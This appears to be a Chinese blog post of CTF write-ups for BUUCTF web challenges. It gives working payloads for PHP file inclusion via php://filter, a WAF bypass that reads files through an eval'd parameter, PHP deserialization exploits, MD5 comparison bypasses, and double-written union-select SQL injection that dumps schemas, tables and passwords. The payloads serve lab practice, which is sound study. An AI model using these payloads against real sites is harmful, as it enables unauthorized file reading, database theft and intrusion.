BUUCTF 从入门到跑路之Web薅我头发

简单的WEB题目,记录自己的做题思路和思考过程,希望我的无心之言能对你起到帮助。

/
/持续更新ing..........................

[ACTF2020 新生赛]Include

一道简单的include(文件包含题目),主要考察的是对于php伪协议的利用。从题目上得知信息,include文件包含的形式,我个人生活中常用的文件包含无非就是/?file=xxxx.php或者是/?file=php://filter/read=convert.base64-encode/resource=xxxx.php
不了解php伪协议的同学可以自己去查一下,网上的资料很详细也很多。
总体来说这道题个人经验比较重要吧,整个的payload==>/?file=php://filter/read=convert.base64-encode/resource=flag.php

[RoarCTF 2019]Easy Calc

坑人的 ,刚开始拿到题目并没有思路,F12 看到题目作者给了个提示,说他上了waf,那么这道题所考的点应该是如何去绕过WAF, 那么我们就有思路了,看到源码中包含了一个名为calc.php的waf文件,我们试着去访问一下,发现可以直接访问。查看源码:


从源码中看出,整个代码通过get方式来传参,而却num参数过滤了很多特殊字符和空格。这个地方我也没思路,找到网上一些大佬的wp,发现人家在num前面加入一个空格,个人理解应该是将num变成了[空格]num,而[空格] 被后面的正则去掉了,所以参数就以num+字符串传进了源码中。那么我们要做的就像得到了一个简单的shell一样,我们利用scandir(/) 查看根目录的文件。
但是我们用scandir(/)的时候,要注意,出题人在出题的时候吧"/"也过滤掉了,所以这个地方我们考虑用其他方法绕过这个问题,笔者使用的是ASCII码的方法来解决这个问题。这个地方需要注意的是,我们通过print_r来打印我们scandir所查询到的结果,官方解释是print_r所输出的结果更适合人类理解。(内心os:哈哈哈哈妙啊 ,终于有人不把我当成生产队的驴了。)
然后我们就可以得到下面的结果:

calc.php?%20num=print_r(scandir(chr(47)))

可以看到 我们所要的值应该就是f1agg这个东东,话不多说,直接上file_get_contants()函数, 这里补充一点,对于萌新来说,既然我知道了文件和路径,那我为什么不可以直接file(/f1agg)来直接打开文件?请看下图:
(PS 截图中的ASCII码对应的是(/flagg),因为懒就没有重新补充)
file(/f1agg)

这个地方可以仔细去看一下file_get_contents(filename)的用法,在笔者看来,可以简单理解成,这个地方我们要读的不是这个文件,而是这个文件的字符串。所以我们这个地方用file_get_contents。 payload==/clac.php?%20num=print_r(file_get_contents(chr(47).f1agg))
flag

HTTP

了解各类型的http

image.png
极客大挑战 PHP (反序列化)

拿到WWW.zip的文件后发现是一道简单反序列化的题目

反序列化EXP和解释
username = $username;
        $this->password = $password;   #从class.php中把调用的函数复制过来
    }
} 
$a = new Name('admin', 100);   #创建新对象
echo (serialize($a));  # 序列化对象,用这一串序列化之后的payload是错误的,查看class.php,发现还有个wakeup函数
echo PHP_EOL; #换行|过wakeup函数 需要让name后面的私有属性个数和真实值个数不相同 
echo ("/?select=".urlencode(serialize($a)));  #url编码是为了解决私有属性中<0x00>复制不了的问题 
?>
青龙杯

这里面看到了一个自己平时很少注意的点,主要因为自己的水平太菜才会感觉像发现新大陆一样,下图中OP===2 然后进入process函数,其中只有当op==2 的时候,才会进入我们想要的read函数中,那么我们第一个想法就是把我们的op设置为“2”,但是这里有个点,在php中双等号和三等号的意义是不一样的,三等号还要判断类型,也就是说默认定义的op=2 这里的"2 " 对应的应该是int ,而op=“2”,所对应的应该是string (才疏学浅,如果写错了请各位大佬批评指正)。那么我们看到源码中只有op===2为false的时候,才能进入到下面的process函数中,所以我们要把第一个判断过掉,这里我们使我们的赋值变成op=2,也就是说把他变成int类型。进入process函数后,我们看到process中对于op是一个"==" 也就是说只判断变量值,不去判断变量的类型。这样就成功的绕开了op===2这个点。


php等号的区别

源码截图

在构造EXP的时候,三个变量都是受到保护的,所以在构造序列化字符串的时候会出现<0x00>这种标志,但是后面的is_valid 函数要求32 1.查字符:下图中可以看出,构造出反序列化链之后,可以把0x00和* 手动删掉,当然还要更改前面的字符串长度,这种方式比较麻烦,不过也可以得到正确的序列化字符串。
查字符

2.更改变量属性: 我们可以把proteced=> public属性,这样在序列化链中就不会出现0x00这种特殊符号,也可以顺利过下面的is_valid函数的一关。需要注意的是,看了网上好多大佬的wp之后,发现大家的普遍方法就是:
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过。
更改变量属性

看好多大佬都说在BUU上面的这道题是被简化的,原题还要猜解flag.php的绝对路径。在源码中细心的小伙伴肯定发现了php伪协议的利用函数,file_get_contents(),而利用方法也就是图中所加注释的部分。这道题在buu上面我发现不用伪协议也能解决,所以就偷了个懒。而conten变量其实是无关紧要的一个变量,在后续中,content主要是用于write函数,而content的长度限制也是在write中,所以在本地设置的时候,content的长度和内容大家可以随便设置。
payload====> url/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"0";}

EZ_md5

新型绕过方式md5(md5($_GET['a'])) ==md5($_GET['b'])
想要绕过PHP中的MD5限制,我们首先要知道以下几点:
1.在php中0e会被当做科学计数法,就算后面有字母,其结果也是0。
2.md5码有两种格式,一个是16字符2进制的,还有一种是32字符16进制的。
3.绕过MD5($password,true)的万能密码:ffifdyop
解题流程:
·1 第一步的sql语句我们可以通过抓包或者查看F12中的网络--查看源码 来查看到。

第一步
这一步没什么好讲的东西,就是ffidfyop这个万能密码记住,在MD5函数中会转换成
'or'66�]��!r,��b,也就是 xxxx' or ' xxxxx。
经过md5加密后:276f722736c95d99e921722cf9ed621c
·2
第二步
我们看到了我们很熟悉的glzjin同学,
两个参数,a和b,要求ab不等,且ab的MD5值相等,这就有点难搞啦,这里涉及到我们上面讲到的知识点1,也就是说php中0e后面的会被默认放掉,所以我们要找到0e开头的MD5加密,这里大家百度搜索一下即可,我用的是
a=s155964671a&b=s878926199a

·3 强弱判断,!==和===的区别。上面的题有提过,这里我就不在赘述 直接上payload,param1[]=1¶m2[]=2

结果截图
解释:PHP中md5()函数无法处理数组(会返回NULL),所以我们就可以利用这种方法来绕过===的强判断类型。
三步走完就可以拿到你的flag。

[极客大挑战 2019]BabySQL

这两天做了几道sql注入的题,总结起来就是爆表名,爆库名,爆字段。

尝试注入:


image.png

发现or没了,而且这个地方我们还发现了,这里的单引号是扩在der 4 %23这串字符上面的,这里我最开始还疑惑了一下,后面查一下网上的大佬们说是:

“#”将传入的数据都当作一个字符串,会对自动传入的数据加一个双信号,例如:order by 3,会被解析成 order by “3”.而“$”会将数据直接显示生成在sql中,例如:order by 3 ,会被解析成 order by 3 。
到目前为止,我们发现这道题是拼接字符,无法用order这道题,我们使用order by 来猜解字段是不正确的。拼接字符的原理大致如上面所说,传入的参数不能有'或者" 号,如果加入了这些符号,那么order by id中的id 就不再是字段 而是字符串。
要使用union select 1,2,3,4,5%23来进行初步测试,发现union和select都被过滤了,绕过姿势很多种类,可以参考网上的,我这里就选择了比较简单的双写,ununionion selselectect绕过,由于是在url里,尽量把# 和 , 变成%23 和%27 空格是%20 .:payload:
check.php?username=1%27uunionnion sselectelect 1,2,3%23&password=123

image.png

回显位2,3,不多说了,爆库爆表爆字段。
check.php?username=1%27uunionnion sselectelect1,2,database()%23&password=123
image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=123
schemata是schema的复数

image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=123
image.png

image.png

check.php?username=1%27uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'%23&password=123
image.png

1%27uunionnion sselectelect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=123
sql注入的题是真的水帖子,又臭又长

[护网杯 2018]easy_tornado原理 :python 模板注入

这道题做的云里雾里的,简而言之就是没做明白。看到题目里的三个提示之后,就去找这道题的cookie_secret,bp抓包之后发现根本找不到,无奈上百度搜了一些大佬的WP ,发现自己的思路没毛病,就是太菜了,不知道这个handler.settings怎么来的。还是太菜 ,没太明白,放一个payload在最后吧,拿到cookie之后,根据v他给的hints的提示,写一个py的脚本就行。

你可能感兴趣的:(BUUCTF 从入门到跑路之Web薅我头发)